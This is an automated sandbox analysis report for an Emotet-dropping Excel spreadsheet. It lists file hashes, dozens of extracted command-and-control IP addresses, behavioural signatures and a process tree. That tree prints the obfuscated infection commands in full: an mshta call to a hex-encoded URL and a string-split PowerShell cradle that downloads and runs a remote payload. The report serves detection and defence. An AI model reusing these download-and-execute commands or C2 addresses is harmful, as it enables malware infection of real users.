Analysis
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max time kernel
122s -
max time network
140s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
22/01/2022, 13:29
Behavioral task
behavioral1
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win7-en-20211208
General
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Target
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
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Size
71KB
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MD5
21fc12ef8a4a4ba5b38a303fa7e70c08
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SHA1
5700a2231371b289eae19ce62e1a73457ee582c4
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SHA256
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
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SHA512
8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
Malware Config
Extracted
http://0xb907d607/fer/fe2.html
Extracted
http://185.7.214.7/fer/fe2.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2696 2604 cmd.exe 67 -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
flow pid Process 24 2860 mshta.exe 29 1988 powershell.exe 32 1988 powershell.exe 41 3852 rundll32.exe 42 3852 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 3524 rundll32.exe 1384 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Xvzpfolmyhkruz\mdugochef.ccj rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 3260 2860 WerFault.exe 72 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2604 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 3260 WerFault.exe 1988 powershell.exe 1988 powershell.exe 1988 powershell.exe 3852 rundll32.exe 3852 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3260 WerFault.exe Token: SeDebugPrivilege 1988 powershell.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2604 wrote to memory of 2696 2604 EXCEL.EXE 70 PID 2604 wrote to memory of 2696 2604 EXCEL.EXE 70 PID 2696 wrote to memory of 2860 2696 cmd.exe 72 PID 2696 wrote to memory of 2860 2696 cmd.exe 72 PID 2860 wrote to memory of 1988 2860 mshta.exe 74 PID 2860 wrote to memory of 1988 2860 mshta.exe 74 PID 1988 wrote to memory of 3824 1988 powershell.exe 78 PID 1988 wrote to memory of 3824 1988 powershell.exe 78 PID 3824 wrote to memory of 3524 3824 cmd.exe 79 PID 3824 wrote to memory of 3524 3824 cmd.exe 79 PID 3824 wrote to memory of 3524 3824 cmd.exe 79 PID 3524 wrote to memory of 1384 3524 rundll32.exe 80 PID 3524 wrote to memory of 1384 3524 rundll32.exe 80 PID 3524 wrote to memory of 1384 3524 rundll32.exe 80 PID 1384 wrote to memory of 1128 1384 rundll32.exe 81 PID 1384 wrote to memory of 1128 1384 rundll32.exe 81 PID 1384 wrote to memory of 1128 1384 rundll32.exe 81 PID 1128 wrote to memory of 3852 1128 rundll32.exe 82 PID 1128 wrote to memory of 3852 1128 rundll32.exe 82 PID 1128 wrote to memory of 3852 1128 rundll32.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3524 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1384 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xvzpfolmyhkruz\mdugochef.ccj",UmPRyMbYf8⤵
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xvzpfolmyhkruz\mdugochef.ccj",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3852
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2860 -s 16764⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3260
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